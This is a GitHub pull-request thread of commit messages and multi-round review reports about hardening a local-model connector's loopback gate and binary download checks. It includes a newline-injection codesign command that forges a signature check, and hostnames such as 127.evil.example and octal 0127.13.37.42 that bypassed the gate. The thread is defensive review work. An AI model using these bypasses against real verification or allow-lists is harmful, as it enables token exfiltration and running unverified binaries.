- The IPv6 fix bracketed anything containing a colon, not anything that is an IPv6
  literal. `--host evil.com:9999` became http://[evil.com:9999]:8000 and the
  unusable-address error became unreachable — the error text I had written for it was a
  line that could never print. The DA also noted my tests pinned two unusable hosts,
  "a b c" and "a|b", both without colons, so both missed the branch the fix added. ::1
  really did stop crashing; "unparseable input returns nil" was never established.
  Bracketing now requires inet_pton to accept the address.

- The flag-scan fix ignored the abbreviations oMLX accepts. The DA rebuilt oMLX's parser
  from cli.py and showed --ho, --po and --ap are all honored there while invisible here.
  My comment had dismissed this as costing "an error message, not silent misbehavior";
  both halves were false, because the resolved address is now written into
  ANTHROPIC_BASE_URL. A user with OMLX_URL set for usage 2 who types
  `omlx-claude --ho 127.0.0.1` would have had the session sent to the remote gateway
  while having just explicitly asked for localhost. Prefix matching now uses oMLX's full
  option set, with ambiguous prefixes claimed by nobody, exactly as argparse behaves.

**The CRITICAL.** The session-start hook installed a native binary with no checksum, no
signature, and no --fail, while the release publishes a .sha256 for every binary. It now
verifies the checksum and the Developer ID team, downloads to scratch and only replaces
the installed copy after every check passes, refuses to fall back to an unrelated
`latest`, and records the version the binary reports rather than the one that was
pinned. A failure keeps the working binary rather than overwriting it with an error page.

Also: `make release-signed`, the only documented release command, invoked
scripts/build-mcpb.sh, which has never existed here — exit 127 for anyone who followed
the README, unnoticed because the script was always run directly. The version gate
greps are anchored and comment-excluding, the JSON mirrors are compared by key instead
of by substring, and a missing manifest name is now a failure rather than a reason to
skip the check that exists because Claude Desktop drops a mismatched server silently.
A failing `omlx --version` no longer blocks the launch and blames the wrong thing, a 401
with no credential of ours warns and continues instead of aborting a setup oMLX would
have completed, and an unreadable version string now says so — going quiet there broke
the one promise the mechanism was built to keep.

77 tests pass (60 before). The loopback gate, the IPv6 refusal and the abbreviation
handling were each re-run against the rebuilt binary.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-2 blocking findings addressed — 2b09a8d

77 tests pass (60 before). Three of the fixes were re-run against the rebuilt binary.

The loopback regression

The finding four lenses reported independently. LoopbackPolicy now lives in
OmlxConnectorCore and both entry points share one implementation:

$ OMLX_URL="https://external.example/api" omlx-claude
omlx-claude: Refusing to run a session against non-loopback host 'external.example'
(https://external.example/api). This command exists so that content stays on this
machine, and the address resolved here is asserted into ANTHROPIC_BASE_URL at a higher
precedence than anything else — so the whole session, and the API token, would go there.
If 'external.example' is a machine you own and you intend that, set OMLX_ALLOW_REMOTE=1.

$ OMLX_ALLOW_REMOTE=1 OMLX_URL="https://external.example/api" omlx-claude
omlx-claude: No oMLX server responding at https://external.example/api    ← opt-in honoured

$ OMLX_ALLOW_REMOTE=true OMLX_URL="https://external.example/api" omlx-claude
omlx-claude: Refusing to run a session against non-loopback host …        ← only "1" opens it

testOmlxUrlKeepsItsSchemeAndPath — which pinned accepting a remote URL as correct —
is gone as a policy statement. Those fixtures now opt into remote explicitly and test
only what they were meant to test, URL assembly; the gate has its own suite.

This is the shape D1 was reaching for and got wrong. Keeping Core minimal was right;
"minimal" should never have excluded the invariant both commands depend on.

The two fixes that had not held

IPv6. Bracketing now requires inet_pton to accept the address:

$ omlx-claude --host evil.com:9999    → 'evil.com:9999' is not a valid host.
$ omlx-claude --host x:y              → 'x:y' is not a valid host.
$ omlx-claude --host ::1              → http://[::1]:8000

The DA's sharpest point was about the tests, not the code: the two hosts I had pinned
were both colon-free, so both missed the branch the fix added. ::1 really did stop
crashing; "unparseable input returns nil" was never established.

argparse abbreviations. Prefix matching now uses oMLX's full option set, with
ambiguous prefixes claimed by nobody:

$ omlx-claude --ho 127.0.0.1 --po 59999
omlx-claude: No oMLX server responding at http://127.0.0.1:59999    ← both abbreviations read

My comment had dismissed this as costing "an error message, not silent misbehavior."
Both halves were false, and the DA proved it by running oMLX's own parser.

CRITICAL — hook integrity

Checksum + Developer ID team verified before anything is installed; download goes to
scratch and the installed copy is replaced only after every check passes; no fallback
to an unrelated latest; the marker records what the binary reports, not what was
pinned; curl --fail. A failure keeps the working binary instead of overwriting it
with an error page. Downgrade protection is sort -V-based, verified both directions.

Other HIGH

  • make release-signed now works. It called scripts/build-mcpb.sh, which has
    never existed — exit 127 for anyone following the README. Unnoticed because the
    script was always invoked directly.
  • Version-gate greps anchored and comment-excluding; JSON mirrors compared by key
    instead of by substring; a missing manifest name is now a failure rather than a
    reason to skip the check that exists because Claude Desktop drops a mismatched
    server silently.
  • A failing omlx --version no longer blocks the launch and blames the wrong thing.
  • 401 with no credential of ours warns and continues instead of aborting a setup oMLX
    would have completed; 401 with one now says the key was rejected.
  • An unreadable version string now says so — going quiet there broke the one promise
    the mechanism exists to keep.
  • OMLX_TOKEN=" " is no longer treated as a known credential.
  • An unparseable OMLX_URL is refused rather than silently replaced by the default.

Not addressed in this round

The auth token still travels in argv. The fix (a mode-0600 settings file, which
--settings accepts) is understood and is a follow-up, not a claim that the finding
was wrong. Several MEDIUM items — enterprise-managed settings scope, a user-supplied
--settings landing after ours, -- before --help/--version — remain open.

Still required

Round 2 found 80 findings; this commit addresses the CRITICAL and the blocking HIGHs.
The ensemble has not seen this diff. A third round is the remaining gate.

The round-2 fixes changed user-visible behavior and the module's shape, and neither
was written down. Three gaps, in descending order of who gets hurt:

`--help` did not mention OMLX_ALLOW_REMOTE at all. That is the first place someone
looks when the command has just refused to start, so the gate could refuse a launch
without the refusal being explicable from the tool itself.

The README's loopback section described only the MCP server, which was accurate when
usage 1 had no gate and is now simply wrong. It covers both entry points, and says only
the literal 1 opens the door.

CLAUDE.md's architecture section claimed Core holds "what more than one executable
needs" while the invariant both executables are supposed to enforce sat outside it. The
correction is not just the file listing. "Small" and "minimal" are not the same test:
keeping OmlxClient out was right, keeping LoopbackPolicy out was wrong, and the
difference is *who depends on it*, not how many lines it is. It escaped notice precisely
because it was small enough to look like it did not qualify.

Also recorded: how the regression survived a review round. A fix for a different bug
(OMLX_URL losing its scheme) added a test asserting that https://server.example:8443/api
resolves — true about URL assembly, false about policy, and sitting in the suite reading
like approval. Remote addresses used as fixtures now opt in explicitly so they cannot be
mistaken for a statement that remote is acceptable.

And the argparse-compatibility contract, which is a real constraint rather than a
courtesy: parsing a flag differently from oMLX means content leaving for a host oMLX is
not serving.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7 (round 3, full ensemble)

Engine

pai-ensemble 2.20.0 — 4 IDD lenses + Devil's Advocate + Codex (gpt-5.6-sol, xhigh),
dispatch model opus. 6/6 completed, 0 integrity failures. 39 minutes, 1.28M
subagent tokens. Freshness gate: FROZEN_SHA = f82df1f == PR head, 2814-line diff.

Aggregate

FAIL — 74 findings: 4 CRITICAL, 9 HIGH, 24 MEDIUM, 26 LOW, 11 INFO.

I reproduced all four CRITICALs myself before writing this. One of them I initially
judged to be an overstatement, and I was wrong — see C3.


The pattern is now three for three

Round 1: six blocking defects. Round 2: two of those six fixes had not established
the property they claimed
, and the tests written alongside them pinned inputs that
avoided the very branch each fix added. Round 3: the same thing again, twice.

The Devil's Advocate said it in one line, and it is the most important sentence in this
report:

這一輪的測試仍然在繞開自己新增的分支(第三次),而 81 tests 全綠正是本輪最不該被當成證據的東西

(the tests this round still route around their own new branches — third time — and a
fully green suite is precisely the thing this round should least be treated as
evidence of)

A green suite has now been produced three times over code that did not do what it said.
That is not bad luck; it is what happens when the fixtures are chosen from the same
mental model as the code, so they cannot disconfirm it.


C1 — The loopback gate is bypassed by any hostname starting with 127.

Found independently by the logic and security lenses. Reproduced by me on both
shipped binaries.

// Sources/OmlxConnectorCore/LoopbackPolicy.swift:22
if normalized == "localhost" || normalized == "::1" { return true }
return normalized.hasPrefix("127.")

hasPrefix("127.") is a text test, not an address test. RFC 1123 permits DNS labels
beginning with a digit, so 127.evil.example and 127.0.0.1.attacker.example are
ordinary registrable names an attacker points anywhere.

$ omlx-claude --host external.example
omlx-claude: Refusing to run a session against non-loopback host 'external.example'  ← gate fires

$ omlx-claude --host 127.evil.example
omlx-claude: No oMLX server responding at http://127.evil.example:8000              ← gate PASSED

$ omlx-claude --host 127.0.0.1.attacker.example
omlx-claude: No oMLX server responding at http://127.0.0.1.attacker.example:8000    ← gate PASSED

$ OMLX_BASE_URL=http://127.evil.example:8000 OmlxConnectorMCP --ping
OmlxConnectorMCP: No oMLX server responding at http://127.evil.example:8000         ← gate PASSED

Only DNS non-resolution stopped these. Against a domain that resolves, the launcher
writes that host into ANTHROPIC_BASE_URL — the channel this PR argues outranks
everything — and the whole session plus the bearer token goes there. On the MCP side
every local_summarize payload does.

Why this is mine even though the lenience is older than this PR. The defect came
from OmlxConfig.isLoopback. This PR promoted it to OmlxConnectorCore, made it shared
by both entry points, and documented it as "the project's load-bearing invariant …
enforced in code rather than promised in a README". Relocating an unsound check while
asserting its soundness is what makes it reportable now.

And my tests could not have caught it. From LoopbackGateTests.swift:25:

for host in ["api.openai.com", "192.168.0.10", "10.0.0.1", "127x.example.com",
             "1270.0.0.1", "external.example"]

Every near-miss fails on the character immediately after 127x, then 0. Not
one fixture puts a legitimate . there.
This is the identical shape as round 2's
finding about my IPv6 tests, which pinned a b c and a|b, both colon-free.

Fix: stop testing text. inet_pton(AF_INET, …) with first octet 127, or
inet_pton(AF_INET6, …) equal to in6addr_loopback or an IPv4-mapped 127/8, plus the
literal localhost. ProbeTarget.isIPv6Literal already uses inet_pton as its oracle;
the policy should use the same one.

C2 — The CRITICAL download fix was applied to one of two identical downloaders

plugin/bin/omlx-connector-wrapper.sh ships in the same plugin, downloads the other
binary from the same release, and is untouched by this diff:

verification hits (shasum|codesign|--fail)
  plugin/hooks/session-start.sh        4
  plugin/bin/omlx-connector-wrapper.sh 0

It still has every defect the hook's own header names as the CRITICAL: curl -sL with
no --fail (line 69), chmod +x before any verification (line 70), the
releases/latest fallback the hook explicitly removed (line 52), the marker written
with the pinned version after possibly downloading latest (line 72) — and then
exec "$BINARY" at line 87.

The reported symptom was "the hook installs unverified". The property is "this plugin
does not install unverified binaries". I fixed the file where the symptom was reported.
A user installing the plugin gets one verified binary and one unverified one, from the
same release, on the same trigger — and this PR's own CLAUDE.md now describes the two as
parallel, which reads as if both are equally careful.

C3 — My checksum/signature fix is forgeable, and I first judged this wrong

The security lens claimed it built a binary passing both of my checks with an ad-hoc
signature. My first test appeared to refute that: codesign --verify --strict passes on
ad-hoc, but the TeamIdentifier grep failed. So I looked for how they did it, and
reproduced it:

$ codesign --force --sign - --identifier "x
TeamIdentifier=6W377FS7BS" fake

$ codesign -dv fake 2>&1
Identifier=x
TeamIdentifier=6W377FS7BS      ← attacker-controlled Identifier field, printed verbatim
Signature=adhoc
TeamIdentifier=not set         ← the real one

$ codesign -dv fake 2>&1 | grep -q "TeamIdentifier=6W377FS7BS"   → PASSES

The Identifier is chosen by whoever signs. A newline in it puts an arbitrary line into
codesign -dv output, and grep -q does not care where in the output a string appears.
An ad-hoc-signed binary passes both of my checks.

Correct check: codesign -dv --verbose=4 parsed for the authority chain, or
spctl --assess --type execute, which evaluates the notarization/Developer ID trust
rather than a printed field.

C4 — same as C2, from the security lens

Reported separately because the security lens reached it by attacking the release path
rather than by auditing requirements coverage. Two lenses, two routes, one defect.


HIGH (9)

# File Finding Lens
1 LoopbackPolicy.swift:22 127.0.0.1.evil.com passes on both entry points (same root as C1) requirements
2 session-start.sh:116 The hook's failure messages — including CHECKSUM MISMATCH — go to a channel the user never sees requirements
3 session-start.sh:117 codesign --verify + a TeamIdentifier grep does not establish who built the binary (C3) requirements
4 UpstreamWorkaroundTests.swift:46 The new .unreadable staleness branch has zero coverage, and a test comment asserts the exact contract the code now contradicts logic
5 main.swift:160 A user-supplied --settings lands after ours and wins — bypassing the loopback gate and destroying the #2715 workaround security
6 LoopbackPolicy.swift:22 The policy was moved verbatim, lenience included, and now gates ANTHROPIC_BASE_URL regression
7 session-start.sh:5 The hardening was applied only to the new hook; its identical twin is untouched (C2) regression
8 ProbeTarget.swift:66 Address resolution mirrors oMLX's flags but not its resolution order. OMLX_HOST, OMLX_PORT and oMLX's own settings file are invisible to us, so the loopback gate does not check the address the exec'd process actually connects to devils-advocate
9 session-start.sh mv / chmod / marker writes are unchecked; a failure still prints success and stops the next session retrying (merged)

HIGH #8 deserves emphasis: it is the same class as C1 but deeper. The gate can be
correct about the address we resolve and still not be checking the address oMLX will
use, because we never learned oMLX's full precedence chain — only its flags.

MEDIUM / LOW themes (50)

ProbeTarget 13 · main.swift 9 · LaunchSettings 7 · session-start.sh 7 ·
build-release.sh 3 — including the version-mirror gate still skipping a missing
file, which is the structurally identical guard to the one I hardened this round;
[127.0.0.1] in user-supplied brackets bypassing validation; IPv6 loopback matched by
string equality with ::1 so every other spelling of the same address is refused;
project-settings scope read from the process cwd; --help/--version still scanning
the whole argv without --; the token in argv still undisclosed in the shipped surface.

Where the Devil's Advocate corrected the other lenses

It rejected two findings as overstated and said so with evidence: omlxOptions is not
an unanchored hand-copied list (it verified it exhaustive against 0.6.0rc1), and
LaunchError.omlxNotInstalled is not unreachable (it found the reaching combination on
this machine; the real defect is ordering-induced misdiagnosis). It also noted that
9 of this round's 17 requirements findings were caused by my own comments describing
historical defects in the present tense
, which led blind reviewers to read fixed code
as current.

Verdict

Do not merge. Four CRITICALs, two of which are in the code I wrote to close the
previous round's CRITICAL and the previous round's core-invariant regression.

The specific thing to fix is not any one of these. It is that for three consecutive
rounds, the tests written with each fix have been unable to fail on the defect the fix
was for. Until a fix arrives with a test that demonstrably fails without it, a green
suite here means nothing.

…hout the fix (#2)

Round 3 found four CRITICALs, two of them in the code written to close round 2's
CRITICAL and round 2's core-invariant regression. The Devil's Advocate named the
underlying problem, and it is the one worth fixing first:

  the tests this round still route around their own new branches (third time), and a
  fully green suite is precisely the thing this round should least be treated as
  evidence of

So each fix below arrived with a test that was demonstrated red against the old code
before the new code was written. That discipline paid for itself twice within this
commit; both times are recorded below because the near-misses are the useful part.

**The loopback gate was a string test.** `hasPrefix("127.")` — and RFC 1123 permits a
DNS label to begin with a digit, so `127.evil.example` is an ordinary registrable name.
Reviewers demonstrated it passing on both shipped binaries; only DNS non-resolution
stood between a session and an attacker-controlled endpoint. It now parses the address
with inet_pton and inspects the bytes. The same change fixes the opposite error, where
`::1` was matched by string equality so `0:0:0:0:0:0:0:1` was refused as remote.

The tests shipped with the broken version could not have caught it: every near-miss
fixture broke on the character immediately after `127` (`127x.`, `1270.`), so not one
put a legitimate dot there. Same shape as round 2's finding about the IPv6 fixtures,
which were all colon-free.

**The signature check was forgeable.** `codesign -dv | grep TeamIdentifier=<id>` reads a
field the signer chooses, so a newline inside `--identifier` puts an arbitrary line into
that output and grep does not care where a string appears. An ad-hoc binary passed. It
now uses `codesign -R` against a requirement over the certificate chain.

First near-miss: I wrote the requirement without the leading `=`, so codesign read it as
a path, failed with "invalid requirement specification", and refused *everything*. That
state passes all eight negative tests while breaking every real install. The positive
case — "accepts a genuinely Developer ID-signed binary" — was the only thing that caught
it, which is why it is in the suite rather than left as obvious.

**The CRITICAL was fixed at one of two call sites.** plugin/bin/omlx-connector-wrapper.sh
downloads the other binary from the same release and had none of the hardening: no
--fail, no checksum, no signature, chmod +x before verification, a `releases/latest`
fallback recorded under the pinned version, then `exec`. The reported symptom was "the
hook installs unverified"; the property is "this plugin does not install unverified
binaries", and a property cannot be established one call site at a time.

Both callers now delegate to plugin/bin/fetch-release-binary.sh, and the verifier ships
inside plugin/ because scripts/ is repo-only and would not exist on a user's machine.
The accompanying test asserts the property rather than the file: it scans every shipped
script and fails if any of them downloads or execs without going through the fetcher, so
a third downloader added later goes red without anyone remembering to extend it.

Second near-miss: that scanner first flagged the fixed wrapper, because the file
explains the defect it no longer has and the scan read the explanation as the offence.
It now strips comments.

82 Swift tests and 11 shell assertions, wired into `make test` — the shell ones are not
extras, since neither the forgery case nor the no-unverified-download property is
expressible in the Swift suite.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-3 CRITICALs addressed — f1f1a27

Each fix arrived with a test demonstrated red against the old code before the new code
was written
. That was the whole point of this round, and it caught two of my own
mistakes before they shipped.

C1 — the loopback gate was a string test

hasPrefix("127."). RFC 1123 permits a DNS label to begin with a digit, so
127.evil.example is an ordinary registrable name. Now parses with inet_pton and
inspects the bytes.

$ omlx-claude --host 127.evil.example
omlx-claude: Refusing to run a session against non-loopback host '127.evil.example'

$ omlx-claude --host 127.0.0.1.attacker.example
omlx-claude: Refusing to run a session against non-loopback host '127.0.0.1.attacker.example'

$ omlx-claude --host 127.0.0.1        → Available models:            (reaches the real server)
$ omlx-claude --host 0:0:0:0:0:0:0:1  → http://[0:0:0:0:0:0:0:1]:8000 (was wrongly refused)

Same on OmlxConnectorMCP. The RED run is in the commit: 4 DNS names passed that should
not have, and two legitimate IPv6 spellings were refused.

C3 — the signature check was forgeable

codesign -dv | grep TeamIdentifier= reads a field the signer chooses. A newline in
--identifier injects a line into that output:

$ codesign --force --sign - --identifier "x
TeamIdentifier=6W377FS7BS" fake
$ codesign -dv fake 2>&1 | grep -q "TeamIdentifier=6W377FS7BS"   → passed

Now codesign -R against a requirement over the certificate chain. The test builds that
exact forged binary and requires a refusal.

Near-miss worth recording. My first requirement string omitted the leading =, so
codesign read it as a path, failed with invalid requirement specification, and
refused everything — a state that passes all eight negative tests while breaking
every real install. The positive case ("accepts a genuinely Developer ID-signed binary")
was the only thing that caught it. That case exists because a check which refuses
everything satisfies every test that only asks it to say no.

C2 / C4 — fixed at one of two call sites

plugin/bin/omlx-connector-wrapper.sh downloads the other binary from the same release
and had none of the round-2 hardening — no --fail, no checksum, no signature,
chmod +x before verification, a releases/latest fallback recorded under the pinned
version, then exec.

The reported symptom was "the hook installs unverified". The property is "this plugin
does not install unverified binaries", and a property cannot be established one call
site at a time.
Both callers now delegate to plugin/bin/fetch-release-binary.sh; the
verifier ships inside plugin/ because scripts/ is repo-only and would not exist on a
user's machine.

The test asserts the property, not the file — it scans every shipped script and fails if
any downloads or execs without going through the fetcher. Reverting the wrapper to its
round-3 state turns it red immediately; a third downloader added later goes red without
anyone remembering to extend the test.

Second near-miss: that scanner first flagged the fixed wrapper, because the file
explains the defect it no longer has and the scan read the explanation as the offence.
It now strips comments.

Verification

make test now runs both suites — 82 Swift tests + 11 shell assertions, all green.
The shell suites are not extras: neither the forgery case nor the
no-unverified-download property is expressible in the Swift suite.

make test-shell
  verify-download.sh                 9 passed, 0 failed   (with DEVELOPER_ID set)
  no unverified downloads in plugin/ 3 passed, 0 failed

Both callers were also run live: the hook keeps the working binary when the release has
no asset yet, and the MCP wrapper's stdout stays clean (a status line there would
corrupt the JSON-RPC stream).

Still open from round 3

9 HIGH and 50 MEDIUM/LOW, including: address resolution mirrors oMLX's flags but not its
resolution order (OMLX_HOST, OMLX_PORT, oMLX's own settings file are invisible to
us, so the gate may not be checking the address the exec'd process uses); a user-supplied
--settings landing after ours; the hook's failure messages going to a channel users
never see; the auth token still in argv; .unreadable staleness having zero coverage.

The ensemble has not seen f1f1a27.

…why a test must be able to fail (#2)

Three things changed under the documentation in f1f1a27 and none of them were written
down.

The plugin now has a distribution layer: neither the MCP wrapper nor the session-start
hook downloads anything itself, they pass a binary name to fetch-release-binary.sh. That
shape exists because the previous arrangement let a CRITICAL be fixed in one of two
identical downloaders, so it belongs in the architecture section rather than being
rediscovered by whoever adds the third caller.

The loopback gate parses addresses now. The old text described what it refuses without
saying how it decides, which is exactly the gap that let `hasPrefix("127.")` sit there
looking like an address check. Both files now say it parses, and CLAUDE.md records why
DNS is deliberately not consulted — resolving would make the answer depend on a lookup
that can differ between the check and the connection after it.

And `make test` covers the shell suites. Calling them optional would misdescribe them:
neither the codesign-forgery case nor the no-unverified-download property is expressible
in the Swift suite.

The testing section gains the part that is actually load-bearing. Three rounds running,
fixes shipped with tests whose fixtures were drawn from the same mental model as the
code and so could not disconfirm it — both instances are named, because the pattern is
easier to avoid when you can see what it looked like. Also the two lessons from the
round-3 fixes themselves: run the new test against the old code first, and give every
gate at least one case it must NOT refuse, since a check that refuses everything passes
all the negative ones.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Verify Report — PR #7 (round 4, DEGRADED 4/6)

Engine

pai-ensemble 2.20.0, dispatch model opus. 4 of 6 reviewers completed. The Codex
leg died with a server error mid-response and the Devil's Advocate with 529 Overloaded
— API failures, not quota. The harness recorded both as integrity findings rather than
reporting a clean run.

Freshness gate: FROZEN_SHA = 673d7d1 == PR head, 3494-line diff.

What this round did not do: no cross-model pass, and — the one that matters here —
no adversarial pass. The Devil's Advocate was the reviewer specifically tasked with
auditing whether this round's new tests could fail. Two of the four lenses found that
anyway, which is why this report is not being deferred; but the absence should be read
as "at least this much", not "this much".

Aggregate

FAIL — 55 findings: 1 CRITICAL, 13 HIGH, 21 MEDIUM, 14 LOW, 6 INFO.
I reproduced the CRITICAL and the three most consequential HIGHs myself.


CRITICAL — the loopback gate is bypassed by an octal-prefixed IPv4

inet_pton(AF_INET, …) on BSD reads each dotted field as decimal, including one
with a leading zero. The system resolver and Claude Code's WHATWG URL parser read a
leading zero as octal. My gate and the destination therefore disagree about the same
string, and they disagree in the fail-open direction.

$ omlx-claude --host 87.13.37.42        → Refusing (non-loopback)          ← correct
$ omlx-claude --host 0127.13.37.42      → No oMLX server responding at …   ← gate PASSED

$ ping -c1 0127.13.37.42
PING 0127.13.37.42 (87.13.37.42)                                           ← octal
$ node -e 'new URL("http://0127.13.37.42:8000").hostname'
87.13.37.42                                                                ← octal

Only the first octet is inspected (v4.0 == 127), so an attacker pins 0127 and
chooses the other three freely: all of 87.0.0.0/8, routable space anyone can rent.
No DNS involved, so unlike round 3's 127.evil.example nothing incidental stands in the
way.

And the preflight hands the user a green light on the way past. URLSession agrees
with inet_pton — decimal — so it reaches the real local server and reports success,
while Claude Code will resolve the same string to somewhere else:

$ omlx-claude --host 0127.0.0.1     → Available models:      (preflight hit 127.0.0.1)
$ node -e '…"http://0127.0.0.1"…'   → 87.0.0.1               (where the session goes)

Confirmed on the MCP server too: OMLX_BASE_URL=http://0127.0.0.1:8000 OmlxConnectorMCP
starts normally.

This falsifies text I added in this very round. README: "The host is parsed as an
address, not matched as text … a check that accepted it because of how it is spelled
would be no check at all."
LoopbackPolicy.swift: "Address parsing removes the whole
class rather than the examples anyone happened to think of."

It does not. I replaced one spelling-sensitive parser with a different spelling-sensitive
parser and then wrote documentation asserting the class was gone.

The fix is to require canonical form — parse, inet_ntop back, demand string equality —
rather than accepting whatever inet_pton tolerates.


The two findings that matter most are about my tests

In the same commit I added a CLAUDE.md section titled "Write the test so it can
fail."
Two of the tests in that commit cannot fail.

The forgery case never asserts that the forgery is a forgery

codesign --force --sign - --identifier "x
TeamIdentifier=$TEAM_ID" "$TMP/forged" 2>/dev/null      # exit status never examined

If codesign ever rejects an embedded newline — a plausible hardening, already
arch-dependent — $TMP/forged is simply an unsigned copy. verify-download.sh
refuses it for being unsigned, the case prints ok, and the suite stays green forever
while defending nothing. This is the flagship assertion of the round-4 signature fix.

The positive case is skipped by default, and a skip exits 0

$ bash scripts/tests/verify-download.test.sh
  skip — positive case needs DEVELOPER_ID (set it to run the full suite)
  8 passed, 0 failed          ← exit 0

That positive case is the only thing that caught my malformed codesign -R requirement
— the one that refused everything while passing all eight negative cases. I wrote it
up as the load-bearing guard, then left it absent in every environment without
DEVELOPER_ID, including CI. A "refuses everything" regression would ship green.

And the property scanner matches spellings, not the property

Two lenses independently reported that no-unverified-download.test.sh asserts three
literal strings, and one says it wrote two rogue downloaders that the scanner passes. I
have not reproduced that yet; it is credible on inspection, since the scan greps for
curl and a filename.


Remaining HIGH (13)

File Finding Lens
LaunchSettings.swift --settings does not "outrank everything else." Managed/MDM settings sit above CLI args in Claude Code's documented precedence, so on a managed Mac our value loses, #2715 is not worked around, and the gate verified an address the session does not use. The claim appears unqualified in five places, including two I added this round requirements
LoopbackPolicy.swift The policy still matches a prefix rather than the address: anything before % (or an embedded NUL) decides the verdict logic
ProbeTarget.swift Same seam from the other side — the gate validates a mangled copy (bare) and the URL is built from the original security
verify-download.sh The codesign -R requirement omits the Developer ID marker OIDs; neither notarization nor revocation is checked security
session-start.sh Install failures are silent by design and the PATH warning goes to Claude rather than the user — the README says otherwise requirements + regression
no-unverified-download.test.sh Gives the file the original CRITICAL was filed against zero coverage requirements + logic
verify-download.test.sh (three separate reports of the skip-is-pass problem) requirements + logic + regression

Both %-truncation reports are real at the policy level but currently unreachable
through either entry point: URLComponents and URL(string:) both refuse those hosts
before the gate sees them. Worth fixing at the policy, since the policy is shared and
the parsers in front of it can change.

MEDIUM / LOW (35)

Not enumerated here; see the workflow transcript. Recurring: the round-3 HIGHs left open
are still open, and several reviewers now argue the deferral pattern is itself the
finding.


Verdict

Do not merge.

Four rounds, and each round has found that the previous round's fix did not establish
the property it claimed. What is different this time is that the failure is now visible
in the tests rather than only in the code: I wrote the section describing this exact
pattern, and shipped two tests exhibiting it in the same commit.

Writing the rule down did not prevent the rule from being broken. The next attempt
should treat "does this test fail against the old code, and can it fail at all" as
something to demonstrate in the commit rather than to assert — and a skip must not
count as a pass.

…to fail (#2)

Round 4 found one CRITICAL and, more usefully, found it in the tests I had written to
prevent exactly this.

**The loopback gate was still spelling-sensitive, in a new way.** BSD's `inet_pton`
reads a leading-zero dotted field as decimal; the system resolver and Claude Code's
WHATWG URL parser read it as octal. So `0127.13.37.42` passed the gate as 127.13.37.42
while `ping` and `new URL()` both resolve it to 87.13.37.42 — routable space. Only the
first octet was inspected, so pinning `0127` and choosing the rest freely reached all of
87.0.0.0/8, with no DNS involved.

The preflight made it worse rather than catching it: URLSession agrees with `inet_pton`,
so `omlx-claude --host 0127.0.0.1` reported a green light against the real local server
and then handed Claude Code an address it resolves to 87.0.0.1.

The gate now requires the host to already be canonical — parse, print back, demand
equality — so any spelling two parsers could disagree about is refused without needing
to predict which parser runs later. v6 compares bytes rather than text, because
`0:0:0:0:0:0:0:1` is a spelling people write and every parser agrees on; a strict text
round-trip there would reintroduce the over-strictness the `::1` string equality had.

The doc comment claiming "address parsing removes the whole class rather than the
examples anyone happened to think of" is corrected rather than deleted. That sentence was
written one round earlier, was false, and is the reason this defect was harder to see
than the string-prefix one it replaced: a reader checking whether spellings were handled
found an assurance instead of a check.

**And the two tests that could not fail.** In the same commit as a CLAUDE.md section
titled "Write the test so it can fail":

- the forgery case discarded codesign's exit status, so if codesign ever refused the
  embedded newline the file would simply be *unsigned*, be refused for that instead, and
  the case would print ok forever while defending nothing. Constructing the forgery is
  now itself asserted, twice: codesign must succeed, and the injected line must actually
  appear in `codesign -dv` output.
- the positive case — the guard that caught a requirement string which refused
  EVERYTHING while passing all eight negative cases — skipped by default and a skip
  exited 0. Skips are now counted and reported, and REQUIRE_FULL_SUITE=1 makes any skip
  a failure. Verified all three ways: skip visible without DEVELOPER_ID, exit 1 under
  REQUIRE_FULL_SUITE, 9/0/0 with the certificate present.

**`--settings` does not outrank everything**, and the diff asserted that it did in five
places, two of which I added last round. Claude Code's documented precedence puts
managed/MDM policy settings above command-line arguments, so on a managed Mac our value
loses — #2715 is not worked around and the gate verified an address the session does not
use. The claims are qualified, and the managed paths are now scanned so a conflict there
is named. That population is not hypothetical: #2715's own trigger is "any gateway,
proxy, or rate-limiting plugin", which is the fleet-managed setup most likely to also
carry policy settings.

85 Swift tests, 11 shell assertions. The octal spellings were confirmed failing against
the old code before the fix was written, and the fix was re-verified live on both
binaries.

Refs #2
@kiki830621

Copy link
Copy Markdown
Member Author

Round-4 findings addressed — c735be5

CRITICAL — non-canonical address spellings now refused

$ omlx-claude --host 0127.13.37.42   → Refusing (non-loopback)     ← was: PASSED
$ omlx-claude --host 0127.0.0.1      → Refusing                    ← was: green preflight, session to 87.0.0.1
$ omlx-claude --host 127.0.0.1       → Available models:           ← unaffected
$ omlx-claude --host 0:0:0:0:0:0:0:1 → http://[0:0:0:0:0:0:0:1]:8000  ← still accepted

Same on the MCP server. RED first: five leading-zero spellings passed before the fix.

The gate now demands the host already be canonical — parse, print back, require
equality — so any spelling two parsers could disagree about is refused without our having
to predict which parser runs later. v6 compares bytes rather than text, because
0:0:0:0:0:0:0:1 is a form people write and every parser agrees on; a strict text
round-trip there would have reintroduced the over-strictness that the old ::1 string
equality had.

The doc comment is corrected, not deleted. "Address parsing removes the whole class
rather than the examples anyone happened to think of" was written one round earlier, was
false, and is why this defect was harder to find than the string-prefix one it replaced:
a reader checking whether spellings were handled found an assurance where a check should
have been. The comment now says what actually holds and names both failures.

The two tests that could not fail

You were right that this is the finding that matters. Both are fixed at the mechanism,
not the instance:

The forgery is now asserted to be a forgery — twice. codesign must succeed, and
the injected line must actually appear in codesign -dv output. Previously the exit
status was discarded, so if codesign ever refused the embedded newline the file would be
merely unsigned, get refused for that instead, and the case would print ok forever.
Verified: with the injection removed, the new assertion fires.

Skips no longer pass silently.

$ bash scripts/tests/verify-download.test.sh
  SKIP — positive case needs DEVELOPER_ID — the 'refuses everything' guard did NOT run
  8 passed, 0 failed, 1 skipped
  note: 1 case(s) did not run. Set DEVELOPER_ID to run them all,
        and REQUIRE_FULL_SUITE=1 to make a skip fail.

$ REQUIRE_FULL_SUITE=1 bash …                              → exit 1
$ DEVELOPER_ID=… REQUIRE_FULL_SUITE=1 bash …               → 9 passed, 0 failed, 0 skipped

--settings does not outrank everything

Five places asserted it did — two of which I added last round. Claude Code's documented
precedence puts managed/MDM policy settings above command-line arguments, so on a
managed Mac our value loses: #2715 is not worked around, and the gate verified an address
the session does not use.

All five claims are qualified, and settingsScopePaths now includes the managed paths so
a conflict there is named — the one scope we genuinely cannot win is the one where
silence is least acceptable. Not hypothetical: #2715's own trigger is "any gateway,
proxy, or rate-limiting plugin", which is the fleet-managed setup most likely to carry
